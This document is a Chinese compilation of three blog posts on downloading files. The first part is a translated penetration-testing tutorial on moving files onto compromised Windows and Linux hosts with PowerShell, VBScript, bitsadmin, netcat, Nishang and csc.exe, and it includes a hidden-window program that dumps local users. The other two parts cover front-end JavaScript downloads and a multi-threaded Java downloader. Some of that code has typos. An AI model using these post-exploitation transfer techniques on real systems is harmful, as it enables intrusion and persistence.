15种下载文件的方法&文件下载方法汇总&超大文件下载
- 15种下载文件的方法
- Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的15种不同方法。对于那些在盒子上存在且需要开发后选项的渗透测试人员以及只想移动文件的系统管理员来说,这应该是有趣的。
- 在测试期间还有许多其他方法可以将文件移动到机器上,但是这个列表包括了我的一些最爱。以下是本博客中介绍的文件传输技术的摘要。
- 1. PowerShell文件下载
- 2. Visual Basic文件下载
- 3. Perl文件下载
- 4. Python文件下载
- 5. Ruby文件下载
- 6. PHP文件下载
- 7. FTP文件下载
- 8. TFTP文件下载
- 9. Bitsadmin文件下载
- 10. Wget文件下载
- 11. Netcat文件下载
- 12. Windows共享文件下载
- 13. 记事本对话框文件下载
- 14. 使用PowerShell和Nishang将Exe转换为Txt,将Txt转换为Exe
- 15. Csc.exe从文件编译源代码
- 文件下载方法汇总
- 文件下载方法汇总
- 1、单文件下载
- 1.1 方法一:window.open
- 适用范围:
- 代码:
- 1.2 方法二:二进制流转化
- 适用范围:
- 代码:
- 1.3 方法三:url下载
- 适用范围:
- 代码:
- TIPS:可能会遇到的问题
- 2、多文件/批量下载
- 2.1 window.open
- 适用范围:
- 代码:
- 2.2 二进制流转化
- 适用范围:
- 代码
- 2.3 使用jszip插件
- 适用范围
- 代码:
- 超大文件下载
15种下载文件的方法
Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的15种不同方法。对于那些在盒子上存在且需要开发后选项的渗透测试人员以及只想移动文件的系统管理员来说,这应该是有趣的。
在测试期间还有许多其他方法可以将文件移动到机器上,但是这个列表包括了我的一些最爱。以下是本博客中介绍的文件传输技术的摘要。
- PowerShell文件下载
- Visual Basic文件下载
- Perl文件下载
- Python文件下载
- Ruby文件下载
- PHP文件下载或上传
- FTP文件下载
- TFTP文件下载
- Bitsadmin文件下载
- Wget文件下载
- Netcat文件下载
- Windows共享文件下载
- 记事本对话框文件下载
- 使用PowerShell和Nishang执行文本,文本到EXE
- Csc.exe从源文件编译
注意:通过SQL注入执行命令时,列出的许多技术也应被视为选项。对于多行步骤,将命令ECHO到文件,然后执行该文件。
1. PowerShell文件下载
PowerShell是管理员可以忽略的一种脚本语言。但是,它可以为知道如何使用它的人提供过多的选项和功能。最大的好处是它从Windows Server 2003开始就是Windows的原生。下面是一个简单脚本的示例,可用于从Internet上的Web服务器将文件下载到本地文件系统:
$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file")
要执行此脚本,请在PowerShell窗口中运行以下命令:
PS C:> .test.ps1
有时,PowerShell执行策略设置为受限制。在这种情况下,您将无法通过PowerShell执行命令或脚本…除非您使用以下命令将其设置为不受限制:
C:>powershell set-executionpolicy unrestricted
2. Visual Basic文件下载
自1998年以来,Visual Basic的最终版本已经成为Windows机器的标准配置。以下脚本可以下载您选择的文件。但是,该脚本比PowerShell脚本大得多。
Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:%homepath%file", 2 ' end with
Cscript是一个命令行Windows脚本宿主,允许您传递命令行选项并允许您设置脚本属性。没有必要使用它来在Windows 7和其他可能的程序中运行vbs脚本,但使用它可以让脚本在Windows XP及更高版本的计算机上运行。
要执行此脚本,请在命令shell中运行以下命令:
C:>cscript test.vbs
以下四种语言对于Windows机器来说是非本机语言。但是,如果您发现其上安装了任何这些语言的计算机(无论操作系统如何),您都可以利用这些脚本下载文件。
3. Perl文件下载
Perl是一种非常通用的脚本语言,几乎可以用于任何事情。使用Perl可以非常轻松地将文件下载到本地主机上。
#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# perl test.pl
4. Python文件下载
Python是一种通用脚本语言,强调代码可读性。与大多数脚本语言一样,目标是编写比编程语言所需的代码少的代码,同时仍然完成预期的任务。
#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# python test.py
5. Ruby文件下载
Ruby是一种面向对象的编程语言,可以用于创建框架(想想Metasploit)到简单的任务(如下载文件)。
#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# ruby test.rb
6. PHP文件下载
PHP通常是用于Web开发的服务器端脚本语言,但也可以用作通用脚本语言。
#!/usr/bin/php <?php $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>
要执行此脚本,请在命令shell中运行以下命令:
root@kali:~# php test.php
除非另有说明,否则将文件移动到目标计算机上的其余方法是通过本机操作系统功能。其中一些需要比其他步骤更多的步骤,但可以在不同的场景中使用以绕过某些限制。
7. FTP文件下载
对于此方法,攻击者希望将FTP命令回显到bash脚本,因为它通常需要用户交互才能输入用户名和密码。然后可以运行此bash脚本以在不需要交互的情况下运行所有步骤。
ftp 127.0.0.1 username password get file exit
8. TFTP文件下载
默认情况下,Windows Vista及更低版本中提供了一些简单的FTP。请注意,您必须设置要连接的相应服务器。它可以使用以下命令运行:
tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
9. Bitsadmin文件下载
Bitsadmin是一个Windows命令行工具,允许用户创建下载或上传任务。
bitsadmin /transfer n http://domain/file c:%homepath%file
10. Wget文件下载
Wget是一个Linux和Windows工具,允许非交互式下载。
wget http://example.com/file
11. Netcat文件下载
Netcat可以通过连接到特定的侦听端口来允许下载文件,该端口将通过连接传递文件的内容。请注意,此示例是特定于Linux的。
在攻击者计算机上,键入:
cat file | nc -l 1234
这将把文件的内容打印到本地端口1234.然后,只要有人连接到该端口,文件的内容就会被发送到连接IP。
应在攻击者所针对的计算机上运行以下命令:
nc host_ip 1234 > file
这会将目标连接到攻击者的计算机并接收将通过连接发送的文件。
12. Windows共享文件下载
Windows共享可以安装到驱动器号,然后可以通过后续复制命令复制文件。
要安装远程驱动器,请键入:
net use x: \127.0.0.1share /user:example.comuserID myPassword
13. 记事本对话框文件下载
如果您对计算机具有访问权限(RDP,物理等),但您的用户权限不允许您打开Web浏览器,则可以使用此技巧从URL或通用命名约定快速下载文件(UNC)路径。当您突破在终端上运行的锁定应用程序时,这也很有效。
打开记事本
转到文件 - 打开
在底部附近的“文件名”框中,键入文件的完整URL路径
记事本非常友好,可以为您提供此文件的内容
14. 使用PowerShell和Nishang将Exe转换为Txt,将Txt转换为Exe
这可能是我在尝试将exe移动到机器时使用的最喜欢的工具之一。Nishang允许您将exe转换为十六进制,然后使用PowerShell将十六进制重组为原始exe。我看到组策略不允许通过RDP剪贴板传输exes。虽然它提供了基本的保护,但它(有时)仍然允许通过剪贴板复制文本的能力。在这种情况下,您可以将Nishang PowerShell源复制到该框中的文件,并将扩展名重命名为.ps1。要复制的Nishang脚本是TexttoExe.ps1,它只有8行。你可以在这里下载Nishang。
要将exe转换为hex文件,请键入:
PS > .ExetoText.ps1 evil.exe evil.txt
打开evil.txt文件并复制内容。然后使用RDP剪贴板将内容粘贴到目标计算机。对Nishang中TexttoExe.ps1文件的内容执行相同操作。
要将hex文件转换回exe,请键入:
PS > .TexttoExe.ps1 evil.text evil.exe
这将导致您的邪恶exe被成功移动到目标机器。
15. Csc.exe从文件编译源代码
C sharp compiler(csc)是Windows中Microsoft .NET安装中包含的命令行编译器。如果您无法复制可执行文件,但仍可以复制文本,这可能很有用。使用此方法,结合SQL注入,可以将exe移动到框中,而不必尝试绕过可能阻止出站连接的出口过滤器或经过身份验证的代理。
此可执行文件的默认位置如下:
C:WindowsMicrosoft.NETFrameworkversion
使用以下示例代码,已编译的可执行文件将使用cmd.exe查询框中的本地用户,并将结果写入C:Temp目录中的文件。这显然可以修改为与盒子上的不同exe进行交互,或者完全重写以使用您自己的漏洞利用代码。
public class Evil { public static void Main() { System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C net users > C:\Temp\users.txt"; process.StartInfo = startInfo; process.Start(); } }
要编译源代码,请键入:
csc.exe /out:C:evilevil.exe C:evilevil.cs
出自:https://blog.netspi.com/15-ways-to-download-a-file/
引申:https://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
转载:https://blog.netspi.com/15-ways-to-download-a-file/
瑞恩甘德鲁德
原创时间:2014年6月16日
文件下载方法汇总
文件下载方法汇总
1、单文件下载
1.1 方法一:window.open
适用范围:
1、已经有了文件在服务器上的存储地址
2、文件类型不是图片也不是pdf,也不是.mp3等可以直接被浏览器以预览形式打开的文件类型。
3、需要打开一个新的tab页
代码:
这个重点其实不在前端方法,而在于文件服务器的配置。
以nginx为例
// nginx.confhttp {// ... 一些默认配置,安装nginx就帮你写好的不用管server {listen 8080;server_name citybrain;location /fileDownload {add_header Content-Disposition: 'attachment';add_header Content-Type application/octet-stream;root /data/file/;}}}
// 注意这里要用 window.open
const url = 'http://localhost:8080/fileDownload/example.zip';
window.open(url);
不要使用window.location.href = url
;下载。
会有两个问题:
-
1、会被项目中的路由router相关的js代码拦截到
-
2、即便router给放过去了,也成功下载了,用户要查看原来的页面还有做后退操作,太麻烦了。
1.2 方法二:二进制流转化
适用范围:
1、文件通过接口二进制流的形式返回
2、有明确的文件类型
3、不需要打开一个新的tab页
代码:
// blob.js axios配置
import axios from 'axios';const blob = axios .create({baseURL: process.env.VUE APP_ BASE_ API, // url = base url + request urlwithCredentials: true, // send cookies when cross - domain requests timeout:60000, //request timeoutresponseType: ' blob'
});blob.interceptors.request.use(config => config ,error => {// do something with request errorconsole. log(error)。// for debugreturn Promise.reject(error)}
)blob.interceptors.response.use(response => {const res = response.data;if (res) {return res;} else {Message.error({content: ' 数据接口异常,请联系管理员! ',duration: 5,return Promise. reject(new Error(' Error'));});}},error => {console.log('err' + error). // for debugMessage.error({content: '数据接口异常,请联系管理员!',duration: 5})return Promise.reject(error);}
)
export default blob;
// 获取二进制流的接口
export function downloadExcel(params) {return blob({url: '',method: 'post',data: Qs.stringify(param)})
}// 将二进制流转换为文件
downloadExcel(param).then((res) => {if (!res) return;let title = '文件名称.excel';downloadFile(res, title, 'application/vnd.ms-excel;charset=UTF-8');
});function downloadFile(data, title, type) {let blob = new Blob([res], {type: type});if (navigator.msSaveOrOpenBlob) {navigator.msSaveOrOpenBlob(blob, title);} else {let url = window.URL.createobjectURL(blob);let link = document.createElement('a');link.style.display = 'none';link.href = url;link.download = title;document.body.appendchild(link);link.click(); }
}
1.3 方法三:url下载
本质上是1.1和1.2方法的综合.
适用范围:
1、已经有了文件在服务器上的存储地址
2、文件类型不是图片也不是pdf,也不是.mp3等可以直接被浏览器以预览形式打开的文件类型。
3、不需要打开一个新的tab页
4、文件不能跨域
代码:
/**
* @description 根据url下载而不是预览(这种写法会有跨域问题)
* @param {*} url
* @param {*} callback回调方法
* @param {*} options { responseType: 'blob', name: ' 文件名.suffix'}
*/
export function fileAjax(url, callback, options) {let xhr = new XMLHttpRequest();xhr.open(' get', url, true);if (options .responseType) {xhr.responseType = options.responseType;}xhr.onreadystatechange = function() {if (xhr.readystate === 4 && xhr.status === 200) {downloadFile(xhr.response, options.name);if (callback && typeof callback === ' function') {callback(xhr);}}xhr.send();
}function downloadFile(content, filename) kwindow.URL = window.URL || window.webkitURL;let a = document. createElement( 'a' );let blob = new Blob([content]);//通过二进制文件创建urllet url = window.URL.createobjectURL(blob); a.href = url;a. download = filename ;a.click( );//销毁创建的urlwindow.URL.revoke0bjectURL (url);
}
TIPS:可能会遇到的问题
1、pdf, 图片等,使用window.open方法会被浏览器认为是预览而不是下载.
解决方法:
export function downloadByUrl(url, fileName) {let dom_a = document.createElement('a');dom_a.href = url;dom_a.download = filename; // 控制仅下载不预览的重要属性dom_a.click();//销毁生成的domdom_a.remove();
}
不过,很奇怪的事,上面这个方法在chrome中总是时好时坏。
2、多文件/批量下载
实现多文件下载,本质上是将多文件转化为单文件下载。
有两种思路:
1、后端将多个文件整合成一个压缩包文件.zip,然后给前端下载
2、前端多次调用单文件下载接口,由前端将获取的二进制流合成一个压缩包.
2.1 window.open
后端将多个文件整合成一个压缩包文件.zip,然后给前端下载
适用范围:
1、已经有了文件在服务器上的存储地址
2、文件类型不是图片也不是pdf,也不是.mp3等可以直接被浏览器以预览形式打开的文件类型。
3、需要打开一个新的tab页
代码:
window.open(url);
2.2 二进制流转化
后端将多个文件整合成一个压缩包文件.zip,然后给前端下载
实际上和1.2的二进制流转化是一模一样的,只不过最后下载的结果是一个包含多个文件的压缩包.zip文件
适用范围:
1、文件通过接口二进制流的形式返回
2、有明确的文件类型
3、不需要打开一个新的tab页
代码
// 接口中获取二进制流
// ...省略// 将二进制流转换为文件
downloadExcel(param).then((res) => {if (!res) return;let title = '文件名称.zip';downloadFile(res, title, 'application/zip');
});function downloadFile(data, title, type) {let blob = new Blob([res], {type: type});if (navigator.msSaveOrOpenBlob) {navigator.msSaveOrOpenBlob(blob, title);} else {let url = window.URL.createobjectURL(blob);let link = document.createElement('a');link.style.display = 'none';link.href = url;link.download = title;document.body.appendchild(link);link.click(); }
}
2.3 使用jszip插件
前端多次调用单文件下载接口,由前端将获取的二进制流合成一个压缩包.
https://stuk.github.io/jszip/
适用范围
1、能够将多文件下载转化成多个单文件下载
比如,你已经有了多个下载单文件的url
npm install file-saver jszip -S
代码:
import { saveAs } from 'file-saver';
let JSZIP = require('jszip');// for 循环调用接口 获取二进制流
let blobList = [...];// 调用jszip方法进行压缩
function compressZip(zipName, blobList) {let jsZip = new JSZIP();blobList.forEach((item, index) => {jsZip .file(`文件名${index}.png`, item)});jsZip.generateAsync({type:"blob"}).then(function(content) {// see FileSaver.jssaveAs(content, zipName);});
}
实际上我是使用失败了的。不知道是什么问题.如果下次还有机会使用的话可以看官网文档尝试一下.
超大文件下载
主要思路是将大文件分解成若干个小文件进行下载.
本功能由两个类实现:DownLoadManager和DownloadThreadTask实现. 其中DownLoadManager类主要负责下载任务的初始化和调度, DownloadThreadTask主要负责处理下载任务.
用到的主要工具类有
org.apache.http.impl.client.CloseableHttpClient 模拟httpClient客户端发送http请求,可以控制到请求文件的字节位置。
BufferedInputStream都熟悉,用它接受请求来的流信息缓存。
RandomAccessFile文件随机类,可以向文件写入指定位置的流信息。
DownLoadManager.java
package util;import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;import org.apache.commons.lang.exception.ExceptionUtils;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/*** 文件下载管理类*/
public class DownLoadManager{private static final Logger LOGGER = LoggerFactory.getLogger(DownLoadManager.class);/*** 每个线程下载的字节数*/private long unitSize = 1000 * 1024;private ExecutorService taskExecutor = Executors.newFixedThreadPool(10);private CloseableHttpClient httpClient;public DownLoadManager() {PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();cm.setMaxTotal(100);httpClient = HttpClients.custom().setConnectionManager(cm).build();}public static void main(String[] args) throws IOException {new DownLoadManager().doDownload();}/*** 启动多个线程下载文件*/public void doDownload() throws IOException {//要下载的urlString remoteFileUrl = "http://cn-sdjn-cu-v-04.acgvideo.com/vg4/e/60/21029304-1.mp4?expires=1504513500&platform=pc&ssig=4-pYfuQHUKppz3XGrw6Hnw&oi=1032322900&nfa=T7l/1XWXSxfil4KoioiGpQ==&dynamic=1&hfa=2073962963&hfb=Yjk5ZmZjM2M1YzY4ZjAwYTMzMTIzYmIyNWY4ODJkNWI=";String localPath = "E://temp//";String fileName = new URL(remoteFileUrl).getFile();System.out.println("远程文件名称:" + fileName);fileName = fileName.substring(fileName.lastIndexOf("/") + 1, fileName.length()).replace("%20", " ");System.out.println("本地文件名称:" + fileName);long fileSize = this.getRemoteFileSize(remoteFileUrl);this.createFile(localPath + System.currentTimeMillis() + fileName, fileSize);Long threadCount = (fileSize / unitSize) + (fileSize % unitSize != 0 ? 1 : 0);long offset = 0;CountDownLatch end = new CountDownLatch(threadCount.intValue());if (fileSize <= unitSize) {// 如果远程文件尺寸小于等于unitSizeDownloadThreadTask downloadThread = new DownloadThreadTask(remoteFileUrl, localPath + fileName, offset, fileSize, end, httpClient);taskExecutor.execute(downloadThread);} else {// 如果远程文件尺寸大于unitSizefor (int i = 1; i < threadCount; i++) {DownloadThreadTask downloadThread = new DownloadThreadTask(remoteFileUrl, localPath + fileName, offset, unitSize, end, httpClient);taskExecutor.execute(downloadThread);offset = offset + unitSize;}if (fileSize % unitSize != 0) {// 如果不能整除,则需要再创建一个线程下载剩余字节DownloadThreadTask downloadThread = new DownloadThreadTask(remoteFileUrl, localPath + fileName, offset, fileSize - unitSize * (threadCount - 1), end, httpClient);taskExecutor.execute(downloadThread);}}try {end.await();} catch (InterruptedException e) {LOGGER.error("DownLoadManager exception msg:{}", ExceptionUtils.getFullStackTrace(e));e.printStackTrace();}taskExecutor.shutdown();LOGGER.debug("下载完成!{} ", localPath + fileName);}/*** 获取远程文件尺寸*/private long getRemoteFileSize(String remoteFileUrl) throws IOException {long fileSize = 0;HttpURLConnection httpConnection = (HttpURLConnection) new URL(remoteFileUrl).openConnection();//使用HEAD方法httpConnection.setRequestMethod("HEAD");int responseCode = httpConnection.getResponseCode();if (responseCode >= 400) {LOGGER.debug("Web服务器响应错误!");return 0;}String sHeader;for (int i = 1;; i++) {sHeader = httpConnection.getHeaderFieldKey(i);if (sHeader != null && sHeader.equals("Content-Length")) {System.out.println("文件大小ContentLength:" + httpConnection.getContentLength());fileSize = Long.parseLong(httpConnection.getHeaderField(sHeader));break;}}return fileSize;}/*** 创建指定大小的文件*/private void createFile(String fileName, long fileSize) throws IOException {File newFile = new File(fileName);RandomAccessFile raf = new RandomAccessFile(newFile, "rw");raf.setLength(fileSize);raf.close();}
}
DownloadThreadTask.java
package util;import java.io.BufferedInputStream;
import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.util.concurrent.CountDownLatch;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.protocol.BasicHttpContext;
import org.apache.http.protocol.HttpContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;/*** 负责文件下载的类*/
public class DownloadThreadTask implements Runnable {private static final Logger LOGGER = LoggerFactory.getLogger(DownloadThreadTask.class);/*** 待下载的文件*/private String url = null;/*** 本地文件名*/private String fileName = null;/*** 偏移量*/private long offset = 0;/*** 分配给本线程的下载字节数*/private long length = 0;private CountDownLatch end;private CloseableHttpClient httpClient;private HttpContext context;/*** @param url* 下载文件地址* @param fileName* 另存文件名* @param offset* 本线程下载偏移量* @param length* 本线程下载长度*/public DownloadThreadTask(String url, String file, long offset, long length, CountDownLatch end, CloseableHttpClient httpClient) {this.url = url;this.fileName = file;this.offset = offset;this.length = length;this.end = end;this.httpClient = httpClient;this.context = new BasicHttpContext();LOGGER.debug("偏移量=" + offset + ";字节数=" + length);}public void run() {try {HttpGet httpGet = new HttpGet(this.url);httpGet.addHeader("Range", "bytes=" + this.offset + "-" + (this.offset + this.length - 1));httpGet.addHeader("Referer", "http://api.bilibili.com");CloseableHttpResponse response = httpClient.execute(httpGet, context);BufferedInputStream bis = new BufferedInputStream(response.getEntity().getContent());byte[] buff = new byte[1024];int bytesRead;File newFile = new File(fileName);RandomAccessFile raf = new RandomAccessFile(newFile, "rw");while ((bytesRead = bis.read(buff, 0, buff.length)) != -1) {raf.seek(this.offset);raf.write(buff, 0, bytesRead);this.offset = this.offset + bytesRead;}raf.close();bis.close();} catch (ClientProtocolException e) {LOGGER.error("DownloadThread exception msg:{}", ExceptionUtils.getFullStackTrace(e));} catch (IOException e) {LOGGER.error("DownloadThread exception msg:{}", ExceptionUtils.getFullStackTrace(e));} finally {end.countDown();LOGGER.info(end.getCount() + " is go on!");System.out.println(end.getCount() + " is go on!");}}
}
网络安全打工人
15种下载文件的方法
河童重工-YE
文件下载方法汇总
草船、借~
超大文件下载